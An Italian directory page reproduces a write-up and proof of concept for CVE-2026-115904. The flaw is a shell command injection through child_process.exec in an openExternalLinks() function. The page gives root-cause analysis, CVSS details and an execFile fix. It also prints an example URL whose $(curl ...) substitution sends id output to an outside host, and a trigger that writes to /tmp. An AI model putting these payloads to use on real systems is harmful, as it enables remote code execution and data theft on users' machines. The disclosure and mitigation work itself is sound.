Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-115904 — Write-up e proof-of-concept per CVE-2026-115904, un'iniezione di comandi del sistema operativo in openExternalLinks() tramite child_process.exec, con analisi della causa principale, payload e mitigazione. | Kitploit
Strumenti/GitHubGitHub/vulnsvnc/cve-2026-115904
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e FormazioneSviluppo Payload
GitHubvulnsvnc/cve-2026-115904

CVE-2026-115904

Write-up e proof-of-concept per CVE-2026-115904, un'iniezione di comandi del sistema operativo in openExternalLinks() tramite child_process.exec, con analisi della causa principale, payload e mitigazione.

Vedi Repository
119 giorni faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    972
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    666
  • 3

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    424
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer è una piattaforma open-source di gestione degli accessi privilegiati (PAM) che fornisce ai team DevOps e IT un accesso sicuro e on-demand a endpoint SSH, RDP, Kubernetes, database e RemoteApp tramite un browser web.

    389
  • 5

    SafeLine

    chaitin/safeline

    WAF self-hosted e reverse proxy che filtra il traffico HTTP malevolo, blocca SQL injection, XSS e attacchi bot, con limitazione del tasso e crittografia dinamica HTML/JS.

    337
  • 6

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    331

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-115904 — OS Command Injection tramite openExternalLinks() in utils.js

CVE IDCVE-2026-115904
Classe di vulnerabilitàOS Command Injection (CWE-78)
Componente interessatoutils.js → openExternalLinks(url)
Piattaforma interessataLinux (ramo process.platform === "linux")
Vettore di attaccoChiamata child_process.exec attivata tramite interazione dell'utente (clic su link)
Punteggio CVSS 3.19.6 (Critical)
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H (verificato con la registrazione ufficiale della CVE)
StatoPatched (v2026.9.2410)
Data di scoperta23 settembre 2026
Data di notifica al vendor / Richiesta CVE25 settembre 2026
Data della patch25 settembre 2026 (v2026.9.2410)
Data di divulgazione pubblica28 ottobre 2026 (data di pubblicazione CVE/GHSA)

Nota: il campo ufficiale dateReserved della registrazione CVE risulta essere il 23 ottobre 2026 — circa un mese dopo la data della vostra richiesta del 25 settembre. Questa differenza potrebbe essere dovuta ai tempi di elaborazione da parte del CNA (GitHub); se lo desiderate, posso aggiungere questa nota anche alla timeline.


1. Riepilogo

La funzione openExternalLinks() all'interno di utils.js esegue il comando xdg-open con child_process.exec() per aprire un URL esterno sulla piattaforma Linux. La funzione inietta direttamente sulla riga di comando, tra doppi apici, il valore url proveniente dall'utente/dal flusso dell'applicazione, senza sottoporlo ad alcun processo di shell-safe escaping. Poiché il comando exec() viene eseguito tramite una shell (/bin/sh -c), le espressioni $(...) (command substitution) inserite nell'URL vengono interpretate dalla shell, consentendo l'esecuzione arbitraria di comandi (RCE).

Di conseguenza, qualsiasi flusso all'interno dell'applicazione che generi un link esterno cliccabile/attivabile dall'utente (ad es. messaggistica, anteprima dei link, notifiche, client di posta elettronica, ecc.) può essere trasformato, tramite un URL controllato dall'attaccante, in esecuzione di comandi a livello di sistema operativo.

CVSS v3.1 Base Metrics

MetricaValore
Attack Vector (AV)Network
Attack Complexity (AC)Low
Privileges Required (PR)None
User Interaction (UI)Required
Scope (S)Changed
Confidentiality (C)High
Integrity (I)High
Availability (A)High
Base Score9.6 (Critical)

2. Codice vulnerabile

const openExternalLinks = (url) => {
  if (process.platform === "linux") {
    const newUrl = new URL(url);
    require("child_process").exec(`xdg-open "${newUrl}"`);
  } else {
    shell.openExternal(url).catch(err => {
      let safeUrl = url;
      try {
        const parsed = new URL(url);
        safeUrl = parsed.hostname || url.substring(0, 30) + '...';
      } catch(e) {}

      const customErr = new Error(`[openExternalLinks] Dış bağlantı açılamadı (Hedef: ${safeUrl}). Hata: ${err.message}`);
      customErr.code = err.code;
      throw customErr;
    });
  }
};

3. Analisi della causa principale

  1. La chiamata new URL(url) verifica solo se l'URL è sintatticamente valido; non esegue alcun filtraggio dei meta-caratteri della shell.
  2. Il valore di newUrl (cioè l'output toString() dell'oggetto URL) viene incorporato direttamente nel comando come xdg-open "${newUrl}" all'interno di un template string.
  3. child_process.exec() esegue il comando fornito all'interno di una shell (/bin/sh -c "..."). Le virgolette doppie ("...") non neutralizzano tutti i meta-caratteri nella shell: impediscono l'espansione di spazi e glob (*) ma la command substitution (`cmd` ve $(cmd)) rimane attiva anche all'interno delle virgolette doppie.
  4. Per questo motivo, quando al parametro url viene assegnato un valore contenente una command substitution, il comando tra parentesi viene eseguito dalla shell prima che venga eseguito xdg-open.

Approccio corretto/sicuro: utilizzare child_process.execFile("xdg-open", [url]) — execFile passa gli argomenti direttamente al processo senza passare attraverso una shell ed elimina completamente questa classe di injection. In alternativa, se si deve usare child_process.exec, è necessario aggiungere un escaping rigoroso con una libreria simile a shell-quote e, in aggiunta, un controllo allow-list in cui lo schema dell'URL sia limitato esclusivamente a http(s).

4. Scenario di attacco / Impatto

  • Se l'applicazione chiama questa funzione in qualsiasi flusso che presenta all'utente un link esterno come "clicca" (messaggio di chat, notifica, anteprima del link, ecc.), l'attaccante può inviare all'obiettivo un URL malevolo appositamente preparato.
  • Quando l'utente obiettivo clicca sul link (sul client desktop Linux), prima che venga chiamato xdg-open, la shell esegue il blocco $(...) contenuto nell'URL.
  • L'RCE ottenuto consente l'esecuzione arbitraria di comandi nel contesto dell'utente in cui viene eseguita l'applicazione (di solito l'utente della sessione desktop): esfiltrazione di dati, installazione di persistence (ad es. ~/.bashrc, crontab, file di autostart), apertura di una reverse shell, ecc.
  • È richiesta l'interazione dell'utente (UI:R) (clic sul link), pertanto, se combinata con l'ingegneria sociale, costituisce un rischio critico.

Esempio di URL malevolo

http://attacker.example/$(curl$IFS-s$IFSsaldirgan.com/$(id|base64))

Nota: La classe WHATWG URL di Node codifica automaticamente in percent-encoding i caratteri come lo spazio, >, <, {, } all'interno del path (%20 ecc.), ma poiché $, (, ), |, ; non vengono codificati, la command substitution non è impedita. Nei payload che richiedono spazi si utilizza la classica tecnica $IFS (la $IFS senza parentesi è la variabile separatore di word-split della shell e termina automaticamente quando incontra un carattere non identificatore).

Un trigger PoC diretto e innocuo (per una prova out-of-band):

http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)

5. Fasi di Riproduzione (Reproduction Steps)

  1. Eseguire l'applicazione contenente il file vulnerabile utils.js in un ambiente Linux.
  2. Individuare il flusso all'interno dell'applicazione che attiva la funzione openExternalLinks() (ad es. cliccando su un link in un messaggio/notifica).
  3. Iniettare il seguente URL PoC in questo flusso (vedere poc.js):
    http://x.invalid/$(id|tee$IFS/tmp/cve-2026-115904-poc.txt)
    
  4. Verificare che, dopo aver cliccato sul link, venga creato il file /tmp/cve-2026-115904-poc.txt e che al suo interno sia presente l'output del comando id.

Output verificato (questo PoC è stato testato in questo ambiente):

[+] BAŞARILI: Command injection doğrulandı!
[+] /tmp/cve-2026-115904-poc.txt içeriği:
uid=0(root) gid=0(root) groups=0(root)

Il fatto che xdg-open stesso fallisca (perché non viene trovato alcun browser/handler) non è rilevante — la command substitution viene comunque attivata prima che venga invocato xdg-open, durante l'analisi della riga di comando della shell. 5. Dopo aver verificato l'esecuzione del comando, si può eventualmente mostrare anche un'esfiltrazione di dati out-of-band con un listener controllato (ad es. una richiesta al proprio server tramite curl).

6. PoC

Vedi poc.js — eseguendo una copia isolata e controllata della funzione vulnerabile, dimostra l'iniezione in modo sicuro nell'ambiente locale (solo con comandi innocui come id/touch, senza effettuare richieste verso l'esterno).

7. Mitigazione / Proposta di correzione

const { execFile } = require("child_process");
Scarica lo strumento